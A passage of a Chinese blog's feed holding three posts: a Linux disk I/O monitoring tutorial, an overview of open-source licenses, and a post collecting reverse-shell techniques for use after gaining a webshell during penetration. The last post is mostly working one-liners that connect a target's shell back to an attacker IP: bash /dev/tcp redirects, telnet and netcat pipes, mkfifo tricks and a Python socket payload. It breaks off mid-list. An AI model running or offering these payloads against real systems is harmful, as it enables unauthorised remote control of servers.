&lt;p&gt;在我之前的文章：《探讨 Linux 的磁盘 I&#x2F;O》中，我谈到了 Linux 磁盘 I&#x2F;O 的工作原理，我们了解到 Linux 存储系统 I&#x2F;O 栈由&lt;strong&gt;文件系统层（file system layer）&lt;&#x2F;strong&gt; 、&lt;strong&gt;通用块层（ general block layer）&lt;&#x2F;strong&gt; 和&lt;strong&gt;设备层（device layer）&lt;&#x2F;strong&gt; 构成。&lt;&#x2F;p&gt;
&lt;p&gt;其中，&lt;strong&gt;通用块层&lt;&#x2F;strong&gt;是 Linux 磁盘 I&#x2F;O 的核心。向上，它为访问文件系统和应用程序的块设备提供了标准接口；向下，它将各种异构磁盘设备抽象为一个统一的块设备，并响应文件系统和应用程序发送的 I&#x2F;O。&lt;&#x2F;p&gt;
&lt;p&gt;在本文中，我们来看看磁盘的性能指标以及如何查看这些指标。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;linux-ci-pan-xing-neng-zhi-biao&quot;&gt;Linux 磁盘性能指标&lt;&#x2F;h3&gt;
&lt;p&gt;在衡量磁盘性能时，我们经常提到五个常见指标：利用率、饱和度、IOPS、吞吐量和响应时间。这五个指标是衡量磁盘性能的基本指标。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;利用率（Utilization）&lt;&#x2F;strong&gt; ：磁盘处理 I&#x2F;O 的时间百分比。过度使用（如超过 80%）通常意味着磁盘 I&#x2F;O 存在性能瓶颈。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;饱和度（Saturation）&lt;&#x2F;strong&gt; ：指磁盘处理 I&#x2F;O 的繁忙程度。过度饱和意味着磁盘存在严重的性能瓶颈。当饱和度为 100% 时，磁盘无法接受新的 I&#x2F;O 请求。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;IOPS（Input&#x2F;Output Per Second）&lt;&#x2F;strong&gt; ：指每秒 I&#x2F;O 请求的数量。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;吞吐量（Throughput）&lt;&#x2F;strong&gt; ：每秒 I&#x2F;O 请求的大小。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;响应时间（Response time）&lt;&#x2F;strong&gt; ：指发送 I&#x2F;O 请求和接收响应之间的间隔时间。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;em&gt;这里需要注意的是，关于利用率，我们只考虑有无 I&#x2F;O，而不考虑 I&#x2F;O 的大小。也就是说，当利用率为 100% 时，磁盘仍有可能接受新的 I&#x2F;O 请求。&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一般来说，在为应用选择服务器时，首先要对磁盘的 I&#x2F;O 性能进行基准测试，这样才能准确评估磁盘性能，以判断是否能够满足应用的需求。&lt;&#x2F;p&gt;
&lt;p&gt;当然，这需要你在&lt;strong&gt;随机读&lt;&#x2F;strong&gt;、&lt;strong&gt;顺序读&lt;&#x2F;strong&gt;、&lt;strong&gt;随机写&lt;&#x2F;strong&gt;、&lt;strong&gt;顺序写&lt;&#x2F;strong&gt;等各种应用场景下测试不同 I&#x2F;O 大小（通常是 512B ~ 1MB 之间）的性能。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ci-pan-i-o-guan-cha&quot;&gt;磁盘 I&#x2F;O 观察&lt;&#x2F;h3&gt;
&lt;p&gt;首先要观察的是每个磁盘的使用情况。iostat 是最常用的磁盘 I&#x2F;O 性能观察工具。它提供了各种常用性能指标，例如每个磁盘的&lt;strong&gt;利用率&lt;&#x2F;strong&gt;、&lt;strong&gt;IOPS&lt;&#x2F;strong&gt; 和&lt;strong&gt;吞吐量&lt;&#x2F;strong&gt;。当然，这些指标实际上来自 &lt;code&gt;&#x2F;proc&#x2F;diskstats&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;以下是 &lt;code&gt;iostat&lt;&#x2F;code&gt; 的输出示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# -d -x means display all disk I&amp;#x2F;O performance
$ iostat -d -x 1
Device            r&amp;#x2F;s     w&amp;#x2F;s     rkB&amp;#x2F;s     wkB&amp;#x2F;s   rrqm&amp;#x2F;s   wrqm&amp;#x2F;s  %rrqm  %wrqm r_await w_await aqu-sz rareq-sz wareq-sz  svctm  %util
loop0            0.00    0.00      0.00      0.00     0.00     0.00   0.00   0.00    0.00    0.00   0.00     0.00     0.00   0.00   0.00
loop1            0.00    0.00      0.00      0.00     0.00     0.00   0.00   0.00    0.00    0.00   0.00     0.00     0.00   0.00   0.00
sda              0.00    0.00      0.00      0.00     0.00     0.00   0.00   0.00    0.00    0.00   0.00     0.00     0.00   0.00   0.00
sdb              0.00    0.00      0.00      0.00     0.00     0.00   0.00   0.00    0.00    0.00   0.00     0.00     0.00   0.00   0.00

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在上述指标中，您需要注意的是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%util&lt;&#x2F;code&gt; 是我们前面提到的磁盘 I&#x2F;O 使用情况&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;r&#x2F;s&lt;&#x2F;code&gt; 和 &lt;code&gt;w&#x2F;s&lt;&#x2F;code&gt; 是 IOPS&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;rkB&#x2F;s&lt;&#x2F;code&gt; 和 &lt;code&gt;wkB&#x2F;s&lt;&#x2F;code&gt; 是吞吐量&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;r_await&lt;&#x2F;code&gt; 和 &lt;code&gt;w_await&lt;&#x2F;code&gt; 是响应时间&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;您可能已经注意到 &lt;code&gt;iostat&lt;&#x2F;code&gt; 不能直接获取磁盘的饱和度。事实上，通常没有什么简单的方法可以测量饱和度。但是，您可以将观察到的&lt;strong&gt;平均请求队列长度&lt;&#x2F;strong&gt;或&lt;strong&gt;完成读写请求的等待时间&lt;&#x2F;strong&gt;与&lt;strong&gt;基准测试&lt;&#x2F;strong&gt;（例如通过 fio）的结果进行比较，以综合评估磁盘饱和度。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jin-cheng-i-o-guan-cha&quot;&gt;进程 I&#x2F;O 观察&lt;&#x2F;h3&gt;
&lt;p&gt;除了每个磁盘的 I&#x2F;O 情况，每个进程的 I&#x2F;O 情况也是大家关注的重点。&lt;&#x2F;p&gt;
&lt;p&gt;上面提到的 &lt;code&gt;iostat&lt;&#x2F;code&gt; 只提供了观察磁盘的整体 I&#x2F;O 性能数据。缺点是无法知道哪些进程正在读写磁盘。要观察进程的 I&#x2F;O，还可以使用 &lt;code&gt;pidstat&lt;&#x2F;code&gt; 和 &lt;code&gt;iotop&lt;&#x2F;code&gt; 工具。&lt;&#x2F;p&gt;
&lt;p&gt;例如，要使用 &lt;code&gt;pidstat&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ pidstat -d 1
13:39:51      UID       PID   kB_rd&amp;#x2F;s   kB_wr&amp;#x2F;s kB_ccwr&amp;#x2F;s iodelay  Command
13:39:52      102       916      0.00      4.00      0.00       0  rsyslogd

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从 &lt;code&gt;pidstat&lt;&#x2F;code&gt; 的输出可以看出，它可以实时查看每个进程的 I&#x2F;O 情况，这包括以下内容：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用户 ID (&lt;code&gt;UID&lt;&#x2F;code&gt;) 和进程 ID (&lt;code&gt;PID&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;li&gt;每秒读取的数据大小 (&lt;code&gt;kB_rd&#x2F;s&lt;&#x2F;code&gt;)，以 KB 为单位。&lt;&#x2F;li&gt;
&lt;li&gt;每秒发出的写请求数据的大小（&lt;code&gt;kB_wr&#x2F;s&lt;&#x2F;code&gt;），单位为KB。&lt;&#x2F;li&gt;
&lt;li&gt;每秒取消写入请求的数据大小 (&lt;code&gt;kB_ccwr&#x2F;s&lt;&#x2F;code&gt;)，以 KB 为单位。&lt;&#x2F;li&gt;
&lt;li&gt;块 I&#x2F;O 延迟 (&lt;code&gt;iodelay&lt;&#x2F;code&gt;)，包括等待同步块（synchronized block）I&#x2F;O 和换入块（swap-in block）I&#x2F;O 完成的时间，以&lt;strong&gt;时钟周期&lt;&#x2F;strong&gt;为单位。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;除了使用 &lt;code&gt;pidstat&lt;&#x2F;code&gt; 实时查看进程磁盘 I&#x2F;O 外，还有一个磁盘性能分析的常用方法是根据 I&#x2F;O 大小对进程进行排序。为此，我推荐 &lt;code&gt;iotop&lt;&#x2F;code&gt; 工具。它是一个类似于 &lt;code&gt;top&lt;&#x2F;code&gt; 的工具，您可以按 I&#x2F;O 大小对进程进行排序，并找到具有更大 I&#x2F;O 的进程。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ iotop
Total DISK READ :       0.00 B&amp;#x2F;s | Total DISK WRITE :       7.85 K&amp;#x2F;s
Actual DISK READ:       0.00 B&amp;#x2F;s | Actual DISK WRITE:       0.00 B&amp;#x2F;s
  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO&amp;gt;    COMMAND
15055 be&amp;#x2F;3 root        0.00 B&amp;#x2F;s    7.85 K&amp;#x2F;s  0.00 %  0.00 % systemd-journald

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从该输出可以看到，前两行分别代表&lt;strong&gt;进程的磁盘读写总大小&lt;&#x2F;strong&gt;和&lt;strong&gt;磁盘的实际读写总大小&lt;&#x2F;strong&gt;。由于&lt;strong&gt;缓存&lt;&#x2F;strong&gt;、&lt;strong&gt;缓冲区&lt;&#x2F;strong&gt;、&lt;strong&gt;I&#x2F;O 合并&lt;&#x2F;strong&gt;等因素，它们可能不相等。&lt;&#x2F;p&gt;
&lt;p&gt;剩下的部分从各个角度代表了进程的 I&#x2F;O 情况，包括 &lt;strong&gt;线程 ID&lt;&#x2F;strong&gt;、&lt;strong&gt;I&#x2F;O 优先级&lt;&#x2F;strong&gt;、&lt;strong&gt;每秒磁盘读取大小&lt;&#x2F;strong&gt;、&lt;strong&gt;每秒磁盘写入大小&lt;&#x2F;strong&gt;、&lt;strong&gt;换入百分比&lt;&#x2F;strong&gt;和&lt;strong&gt;等待 I&#x2F;O 时钟百分比&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jie-lun&quot;&gt;结论&lt;&#x2F;h3&gt;
&lt;p&gt;在本文中，我介绍了 Linux 磁盘 I&#x2F;O 的性能指标和查看性能工具。我们通常使用 &lt;strong&gt;IOPS&lt;&#x2F;strong&gt;、&lt;strong&gt;吞吐量&lt;&#x2F;strong&gt;、&lt;strong&gt;利用率&lt;&#x2F;strong&gt;、&lt;strong&gt;饱和度&lt;&#x2F;strong&gt;和&lt;strong&gt;响应时间&lt;&#x2F;strong&gt;等几个指标来评估磁盘的 I&#x2F;O 性能。&lt;&#x2F;p&gt;
&lt;p&gt;可以使用 &lt;code&gt;iostat&lt;&#x2F;code&gt; 获取磁盘的 I&#x2F;O 情况，也可以使用 &lt;code&gt;pidstat&lt;&#x2F;code&gt;、&lt;code&gt;iotop&lt;&#x2F;code&gt; 等观察进程的 I&#x2F;O 情况。但在分析这些性能指标时，要注意结合&lt;strong&gt;读写比率&lt;&#x2F;strong&gt;、&lt;strong&gt;I&#x2F;O 类型&lt;&#x2F;strong&gt;、&lt;strong&gt;I&#x2F;O 大小&lt;&#x2F;strong&gt;等综合分析。&lt;&#x2F;p&gt;
&lt;p&gt;责任编辑：庞桂玉
来源：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s&#x2F;3g-qsmu0oRSJpqnFF5WHUA&quot;&gt;马哥Linux运维&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.51cto.com&#x2F;?keywords=Linux&quot;&gt;Linux&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.51cto.com&#x2F;?keywords=%E7%A3%81%E7%9B%98%E6%80%A7%E8%83%BD&quot;&gt;磁盘性能&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>秒懂开源许可证GPL、BSD、MIT、Mozilla、Apache和LGPL的区别</title>
        <published>2025-01-23T00:00:00+00:00</published>
        <updated>2025-01-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/秒懂开源许可证gpl、bsd、mit、mozilla、apache和lgpl的区别/"/>
        <id>https://vercel.juzhong.asia/obsidian/秒懂开源许可证gpl、bsd、mit、mozilla、apache和lgpl的区别/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/秒懂开源许可证gpl、bsd、mit、mozilla、apache和lgpl的区别/">&lt;h3 id=&quot;yi-zong-shu&quot;&gt;一、总述&lt;&#x2F;h3&gt;
&lt;p&gt;世界上的开源许可证，大概有上百种，很少有人搞得清楚它们的区别。今天，我们来说说最流行的六种：GPL、BSD、MIT、Mozilla、Apache和LGPL。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;opensource-licenses&#x2F;opensource-licenses-overview.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-bsdxu-ke-zheng-https-en-wikipedia-org-wiki-bsd-licenses&quot;&gt;1.BSD许可证（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;BSD_licenses%EF%BC%89&quot;&gt;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;BSD_licenses）&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;BSD开源协议是一个给于使用者很大自由的协议。基本上使用者可以”为所欲为”，可以自由的使用，修改源代码，也可以将修改后的代码作为开源或者专有软件再发布。&lt;&#x2F;p&gt;
&lt;p&gt;但”为所欲为”的前提当你发布使用了BSD协议的代码，或则以BSD协议代码为基础做二次开发自己的产品时，需要满足三个条件：&lt;&#x2F;p&gt;
&lt;p&gt;如果再发布的产品中包含源代码，则在源代码中必须带有原来代码中的BSD协议。
如果再发布的只是二进制类库&#x2F;软件，则需要在类库&#x2F;软件的文档和版权声明中包含原来代码中的BSD协议。
不可以用开源代码的作者、机构名字和原来产品的名字做市场推广。
BSD 代码鼓励代码共享，但需要尊重代码作者的著作权。BSD由于允许使用者修改和重新发布代码，也允许使用或在BSD代码上开发商业软件发布和销售，因此是对商业集成很友好的协议。而很多的公司企业在选用开源产品的时候都首选BSD协议，因为可以完全控制这些第三方的代码，在必要的时候可以修改或者二次开发。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-mitxu-ke-zheng-the-mit-license-open-source-initiative&quot;&gt;2.MIT许可证（The MIT License | Open Source Initiative）&lt;&#x2F;h4&gt;
&lt;p&gt;MIT是和BSD一样宽范的许可协议。你必须在你的发行版里包含原许可协议的声明，无论你是以二进制发布的还是以源代码发布的。作者只想保留版权，而无任何其他了限制，较BSD协议宽松。&lt;&#x2F;p&gt;
&lt;p&gt;一般使用 MIT 授权的项目，需在源文件头部增加以下内容：&lt;&#x2F;p&gt;
&lt;p&gt;Copyright [yyyy] [name of copyright owner]. All rights reserved.&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;&#x2F;[yyyy] 表示该源文件创建的年份。紧随其后的是 [name of copyright owner]，即版权所有者。如果为个人项目，就写个人名称；若为团队项目，则宜写团队名称。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-apachexu-ke-zheng-http-www-apache-org-licenses-license-2-0&quot;&gt;3.Apache许可证（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.apache.org&#x2F;licenses&#x2F;LICENSE-2.0%EF%BC%89&quot;&gt;http:&#x2F;&#x2F;www.apache.org&#x2F;licenses&#x2F;LICENSE-2.0）&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Apache Licence是著名的非盈利开源组织Apache采用的协议。该协议和BSD类似，同样鼓励代码共享和尊重原作者的著作权，同样允许代码修改，再发布（作为开源或商业软件）。需要满足的条件也和BSD类似：&lt;&#x2F;p&gt;
&lt;p&gt;需要给代码的用户一份Apache Licence；
如果你修改了代码，需要再被修改的文件中说明。
在延伸的代码中（修改和有源代码衍生的代码中）需要带有原来代码中的协议，商标，专利声明和其他原来作者规定需要包含的说明。
如果再发布的产品中包含一个Notice文件，则在Notice文件中需要带有Apache Licence。你可以在Notice中增加自己的许可，但不可以表现为对Apache Licence构成更改。
Apache Licence也是对商业应用友好的许可。使用者也可以在需要的时候修改代码来满足需要并作为开源或商业产品发布&#x2F;销售。&lt;&#x2F;p&gt;
&lt;p&gt;该许可证要求在所有的源文件中的头部放置以下内容才能算协议对该文件有效：&lt;&#x2F;p&gt;
&lt;p&gt;Copyright [yyyy] [name of copyright owner]&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;&#x2F;[yyyy] 表示该源文件创建的年份。紧随其后的是 [name of copyright owner]，即版权所有者。如果为个人项目，就写个人名称；若为团队项目，则宜写团队名称。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;4-gplxu-ke-zheng-how-to-use-gnu-licenses-for-your-own-software-gnu-project-free-software-foundation&quot;&gt;4.GPL许可证（How to use GNU licenses for your own software- GNU Project - Free Software Foundation）&lt;&#x2F;h4&gt;
&lt;p&gt;1980，一个叫Richard Stallman的美国人因为无法容忍软件私有化，而建立了GPL许可证。他认为，软件的源代码是全人类的财富，应该允许程序员自由共享。&lt;&#x2F;p&gt;
&lt;p&gt;GPL许可证的核心含义是：允许任何人观看、修改，并散播程序软件里的原始程序码，条件是如果你要发布修改后的版本就要连源代码一起公布，不允许修改后和衍生的代码做为闭源的商业软件发布和销售。Linux就是采用了GPL协议，这也就是为什么我们能用免费的各种linux，包括商业公司的linux和linux上各种各样的由个人，组织，以及商业软件公司开发的免费软件了。&lt;&#x2F;p&gt;
&lt;p&gt;GPL协议的主要内容是只要在一个软件中使用（”使用”指类库引用，修改后的代码或者衍生代码）GPL 协议的产品，则该软件产品必须也采用GPL协议，即必须也是开源和免费。这就是所谓的”传染性”。GPL协议的产品作为一个单独的产品使用没有任何问题，还可以享受免费的优势。&lt;&#x2F;p&gt;
&lt;p&gt;由于GPL严格要求使用了GPL类库的软件产品必须使用GPL协议，对于使用GPL协议的开源代码，商业软件或者对代码有保密要求的部门就不适合集成&#x2F;采用作为类库和二次开发的基础。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-lgplxu-ke-zheng-gnu-lgpl-open-source-initiative&quot;&gt;5.LGPL许可证（GNU LGPL | Open Source Initiative）&lt;&#x2F;h4&gt;
&lt;p&gt;LGPL 允许以动态链接使用开源库。采用LGPL的代码，一般情况下它本身就是一个第三方库（LGPL最早的名字就是Library GPL），这时候开发人员仅仅用到了它的功能，而没有对库本身进行任何修改，那么开发人员也不必公布自己的商业源代码。但是如果修改LGPL协议的代码或者衍生，则所有修改的代码，涉及修改部分的额外代码和衍生的代码都必须开源，并且采用LGPL协议。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;6-mozillaxu-ke-zheng-internet-for-people-not-profit-mozilla&quot;&gt;6.Mozilla许可证（Internet for people, not profit — Mozilla）&lt;&#x2F;h4&gt;
&lt;p&gt;Mozilla公共许可证(英语:Mozilla Public License,简称MPL)  允许免费重发布、免费修改，但要求修改后的代码版权归软件的发起者。要求所有再发布者都得有一个专门的文件就对源代码程序修改的时间和修改的方式有描述。允许一个企业在自己已有的源代码库上加一个接口，除了接口程序的源代码以MPL 许可证的形式对外许可外，源代码库中的源代码就可以不用MPL许可证的方式强制对外许可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;san-zong-jie&quot;&gt;三、总结&lt;&#x2F;h3&gt;
&lt;p&gt;严格程度：MIT-&amp;gt;BSD-&amp;gt;Apache-&amp;gt;LGPL-&amp;gt;Mozilla-&amp;gt;GPL
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;opensource-licenses&#x2F;opensource-license-strictness.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>多种姿势反弹shell</title>
        <published>2025-01-20T00:00:00+00:00</published>
        <updated>2025-01-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/多种姿势反弹shell/"/>
        <id>https://vercel.juzhong.asia/obsidian/多种姿势反弹shell/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/多种姿势反弹shell/">&lt;h1 id=&quot;duo-chong-zi-shi-fan-dan-shell&quot;&gt;多种姿势反弹shell&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;在渗透过程中，在拿到webshell后，如果目标主机是Linux服务器，一般我们都会选择反弹shell以方便后续操作，在此总结下反弹shell的几种姿势。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x01-bashfan-dan&quot;&gt;0x01. Bash反弹&lt;&#x2F;h2&gt;
&lt;p&gt;攻击者主机上执行监听：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvvp port
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;目标主机上执行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;x.x.x.x&amp;#x2F;port 0&amp;gt;&amp;amp;1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;简单解释下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;bash -i&lt;&#x2F;strong&gt;   打开一个交互的bash&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&amp;gt;&amp;amp;&lt;&#x2F;strong&gt;    将标准错误输出重定向到标准输出&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&#x2F;dev&#x2F;tcp&#x2F;x.x.x.x&#x2F;port&lt;&#x2F;strong&gt;   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip，port为端口&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;0&amp;gt;&amp;amp;1&lt;&#x2F;strong&gt;   标准输入重定向到标准输出，实现你与反弹出来的shell的交互&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;注：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&#x2F;dev&#x2F;tcp&#x2F;&lt;&#x2F;strong&gt;  是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在&#x2F;dev&#x2F;udp&#x2F;。&lt;&#x2F;p&gt;
&lt;p&gt;linux shell下常用的文件描述符是：&lt;&#x2F;p&gt;
&lt;p&gt;1.标准输入 (stdin) ：代码为 0 ，使用 &amp;lt; 或 &amp;lt;&amp;lt; ；&lt;&#x2F;p&gt;
&lt;p&gt;2.标准输出 (stdout)：代码为 1 ，使用 &amp;gt; 或 &amp;gt;&amp;gt; ；&lt;&#x2F;p&gt;
&lt;p&gt;3.标准错误输出(stderr)：代码为 2 ，使用 2&amp;gt; 或 2&amp;gt;&amp;gt;。&lt;&#x2F;p&gt;
&lt;p&gt;另外由于不同Linux发行版之间的差异，该命令在某些系统上可能并不适用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;其他版本：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;方法二：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;exec 0&amp;amp;0 2&amp;gt;&amp;amp;0

0&amp;lt;&amp;amp;196;exec 196&amp;lt;&amp;gt;&amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;x.x.x.x&amp;#x2F;4444; sh &amp;lt;&amp;amp;196 &amp;gt;&amp;amp;196 2&amp;gt;&amp;amp;196

&amp;#x2F;bin&amp;#x2F;bash  -i &amp;gt; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;x.x.x.x&amp;#x2F;8080 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;方法三：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;exec 5&amp;lt;&amp;gt;&amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;x.x.x.x&amp;#x2F;4444;cat &amp;lt;&amp;amp;5 | while read line; do $line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;0x02-telnetfan-dan&quot;&gt;0x02. telnet反弹&lt;&#x2F;h2&gt;
&lt;p&gt;攻击者主机上打开两个终端分别执行监听：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvvp 4444

nc -lvvp 5555
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;目标主机中执行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;telnet x.x.x.x 4444 | &amp;#x2F;bin&amp;#x2F;bash | telnet x.x.x.x 5555
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;监听两个端口分别用来输入和输出，其中x.x.x.x均为攻击者ip&lt;&#x2F;p&gt;
&lt;p&gt;反弹shell成功后，在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。&lt;&#x2F;p&gt;
&lt;p&gt;另一个版本：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;rm -f &amp;#x2F;tmp&amp;#x2F;p; mknod &amp;#x2F;tmp&amp;#x2F;p p &amp;amp;&amp;amp; telnet x.x.x.x 4444 0&amp;#x2F;tmp&amp;#x2F;p
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;0x03-nc-netcat-fan-dan&quot;&gt;0x03. nc（netcat）反弹&lt;&#x2F;h2&gt;
&lt;p&gt;攻击者主机上执行监听命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvvp port
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;目标主机上执行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc -e &amp;#x2F;bin&amp;#x2F;bash x.x.x.x port
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果目标主机linux发行版本没有 -e 参数，还有以下几种方式：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1. rm &amp;#x2F;tmp&amp;#x2F;f ; mkfifo &amp;#x2F;tmp&amp;#x2F;f;cat &amp;#x2F;tmp&amp;#x2F;f | &amp;#x2F;bin&amp;#x2F;bash -i 2&amp;gt;&amp;amp;1 | nc x.x.x.x 9999 &amp;gt;&amp;#x2F;tmp&amp;#x2F;f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;mkfifo 命令的作用是创建FIFO特殊文件，通常也称为命名管道，FIFO文件在磁盘上没有数据块，仅用来标识内核中的一条通道，各进程可以打开FIFO文件进行read&#x2F;write，实际上是在读写内核通道（根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样），这样就实现了进程间通信。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;2. nc x.x.x.x 4444|&amp;#x2F;bin&amp;#x2F;bash|nc x.x.x.x 5555   #从4444端口获取到命令，bash 运行后将命令执行结果返回 5555 端口，攻击者主机上也是打开两个终端分别执行监听。

3. nc -c &amp;#x2F;bin&amp;#x2F;sh x.x.x.x 4444

4. &amp;#x2F;bin&amp;#x2F;sh | nc x.x.x.x 4444
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;0x04-chang-jian-jiao-ben-fan-dan&quot;&gt;0x04. 常见脚本反弹：&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;1. Python&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python -c &amp;#x27;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;quot;x.x.x.x&amp;quot;,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;,&amp;quot;-i&amp;quot;]);&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
